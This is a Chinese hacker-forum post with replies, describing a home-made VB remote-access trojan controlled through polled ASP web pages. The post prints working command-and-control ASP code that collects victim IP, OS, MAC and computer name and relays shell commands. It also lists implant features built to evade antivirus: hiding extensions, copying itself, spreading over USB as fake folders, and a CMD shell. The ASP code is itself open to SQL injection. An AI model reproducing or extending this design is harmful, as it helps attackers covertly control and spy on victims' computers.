本文旨在技术交流共享,如有不同见解请使劲吐槽!(本人眼界跟技术都有限*^_^*)
木马在N年前就有了,我所知道的连接方式有两种:
A:正向连接 B:反向连接
这些木马大多是基于Winsock的连接,客户端跟服务端会开放指定端口来进行数据的传输。而现如今杀软件都免费了,也很少有电脑在互联网上裸奔了…… 基于Winsock的马在杀软件的云查杀服务面前略显无力(杀软件会反查开放某端口的进程,再上传至云查杀服务器),这样木马的免杀基本天天都要做。
针对这种情况,我所采用的方法是完全抛弃Winsock,尽量减少敏感代码的使用,使用反向连接(方便突破边界在内网中活动)。
我的木马的工作模式:
[i]
使用语言:VB
使用控件:Timer、Inet
[/i]
步骤:
1、写好Web端程序用于发送命令和接收结果。(我使用的是ASP,某Webshell箱子改的)
发送命令而代码:
<!--#Include File="exconn.asp"--> <% set Rs=server.createobject("adodb.recordset") SQL="SELECT * From YB_Command where ID=1" Rs.open SQL,YB_conn,1,3 Response.Write Rs("ALLIP") & "{|}" & Rs("IP") & "{|}" & Rs("COMMANDTYPE") & "{|}" & Rs("COMMAND") & "{|}" & Rs("NOWEXEC") & "{|}" & Rs("TIME") & "{|}" & Rs("EXEC") set Rs=nothing set YB_conn=nothing %>
返回数据页代码:
<!--#Include File="exconn.asp"--> <% Dim sct,IP,SYSTEM,MAC,ComputerName sct=Request("text") IP=Checkstr(Request("IP")) SYSTEM=Checkstr(bd(Request("SYSTEM"))) MAC=Checkstr(Request("MAC")) ComputerName=Checkstr(bd(Request("ComputerName"))) if ComputerName<>"" then set Rs=server.createobject("adodb.recordset") SQL = "SELECT * FROM [YB_Hostlist] WHERE IP='" & IP & "'" Set Rs = YB_Conn.Execute(SQL) if rs.bof and rs.eof then set Rs=nothing SQL="INSERT INTO [YB_Hostlist](IP,SYSTEM,MAC,ComputerName,STIME)VALUES ('" &IP & "','" & SYSTEM & "','" & MAC & "','" & ComputerName & "','" & NOW() & "')" Set Rs = YB_Conn.Execute(SQL) else set Rs=nothing SQL = "UPDATE [YB_Hostlist] SET SYSTEM='" & SYSTEM & "',MAC='" & MAC & "',ComputerName='" & ComputerName & "',STIME='" & NOW() & "' Where IP='" & IP & "'" Set Rs = YB_Conn.Execute(SQL) end if set Rs=nothing set YB_conn=nothing else if sct <> "" then set Rs=server.createobject("adodb.recordset") SQL = "UPDATE [YB_Command] SET [BACKTEXT] = '" & bd(sct) & "' where ID=1" Set Rs = YB_Conn.Execute(SQL) set Rs=nothing set YB_conn=nothing end if end if Function bd(ByVal s) For i = 1 To Len(s) Step 2 c = Mid(s, i, 2) If IsNumeric(Mid(s, i, 1)) Then bd = bd & Chr("&H" & c) Else bd = bd & Chr("&H" & c & Mid(s, i + 2, 2)) i = i + 2 End If Next End Function Function Checkstr(str) If IsNull(str) Then Checkstr = vbNullString Exit Function End If str = Replace(str, "<s", "") str = Replace(str, "<S", "") str = Replace(str, "</s", "") str = Replace(str, "</S", "") str = Replace(str, "<i", "") str = Replace(str, "<I", "") str = Replace(str, "chr", "") Checkstr = str End Function %>
2、编写服务端(我的木马)
代码所有功能有:更改是否显示扩展名/隐藏文件、防多开、加启动项(默认不启用)、复制自身到Program Files某目录(复制到Windows目录杀软件会报警!)、学文件夹病毒感染U盘(千万别出现"新建文件夹.exe"某卫士会报木马,不管这个exe是不是有风险。真他妈太智能了!!!)、其它各种操作系统的功能、CMD命令行(有这个了其它的功能基本都不用要了)
一部分命令:
成品:
管理后台:
有自写木马牛过来回复下,给咱提供些好方法。谢谢喽!
不早了,回家睡觉了,简单写了下有机会补充。
相关讨论:
1#
GrayTrack (强大到惊人) | 2013-12-02 21:55
楼主牛掰,顶
2#
VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹@小胖子@z7y@nauscript|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。|预留广告位) | 2013-12-02 21:56
好思路
3#
nauscript (@VIP @齐迹 @园长 @ACGT @z7y @小胖子@PX1624) | 2013-12-02 21:58
好想法
4#
乐斗菜菜 | 2013-12-02 22:06
360主动可以侦测到这些的吧?(小菜不懂)只是问问.
5#
NetSeif (((子帽白心核) | 2013-12-02 22:07
以前有这种类似的木马,网页版的。
6#
NetSeif (((子帽白心核) | 2013-12-02 22:08
曾经在09年的某一期《黑客X档案》上面有过这种,还能实现桌面控制呢。。楼主可以借鉴下。
7#
Royal. | 2013-12-02 22:08
我会说这个已经有人开发出来了吗。而且方法还有更猥琐的。
8#
NetSeif (((子帽白心核) | 2013-12-02 22:09
@NetSeif 不过能不能过杀毒就不知道了。
9#
LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-12-02 22:30
学过协议的人都知道 你这个叫笨办法。 一个TCP协议通讯解决了一切问题。
10#
核心白帽子 (发标题党的草泥马) | 2013-12-02 22:43
其实这样的木马还有好多种好处 不仅仅是免杀的问题..
缺点就是不如Winsock实时性强..
11#
RedFree (。器神的己自是才己自,了现发才) | 2013-12-02 22:47
@核心白帽子 正确,上线周期调的太低会给Web服务器带来太大压力,太高的话实时性又不好。但是如果以免杀和隐藏为目的优点就体现出来了。
12#
继续沉默 | 2013-12-03 07:33
各项功能可以做成插件似的,有需要的时候可以使用反弹功能,变成普通远控。
13#
灬相随灬 (大胆天下去得,小心寸步难行。) | 2013-12-03 08:22
很老了..三年前我就开发过了
14#
炮灰 | 2013-12-03 09:15
求源码研究
15#
坏虾 (黑阔都被爆菊花~) | 2013-12-03 09:19
很老了。。。 这个思路很久之前就有了。。 没新意啊
16#
@核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-03 09:20
@Royal. 那是本人4年前开发的的 Network Rat 8.0
当时可叫十分的变态……
建议楼主可以参考下……
百度一下就有了……
17#
@核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-03 09:21
嗯,提示一下,这种构架叫做:B/S构架。
18#
小忆 | 2013-12-03 09:38
@@核攻击 N人总喜欢调皮!
19#
RedFree (。器神的己自是才己自,了现发才) | 2013-12-03 10:17
20#
RedFree (。器神的己自是才己自,了现发才) | 2013-12-03 10:18
@@核攻击 那来一个B/S构架的菜刀怎么样?跨平台……
21#
@核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-03 10:22
@RedFree 菜刀本来就是B/S构架啊……
22#
RedFree (。器神的己自是才己自,了现发才) | 2013-12-03 10:24
@@核攻击 看来我对关键词理解不够,只会通俗解释。我的意思是将客户端完全移植为Web服务器上的脚本页,也即网页版菜刀。
23#
RedFree (。器神的己自是才己自,了现发才) | 2013-12-03 10:32
@@核攻击 其实就是丰富lake2EvalClient的功能、山寨菜刀,做些美化,然后对Post的代码做些修改。
24#
@核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-03 10:33
@RedFree 额……
25#
@核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-03 10:33
@RedFree 想法挺不错,可以叫做“云菜刀”了……
26#
Spy4man (linux geek!) | 2013-12-03 10:37
期待早日出货..
留言评论(旧系统):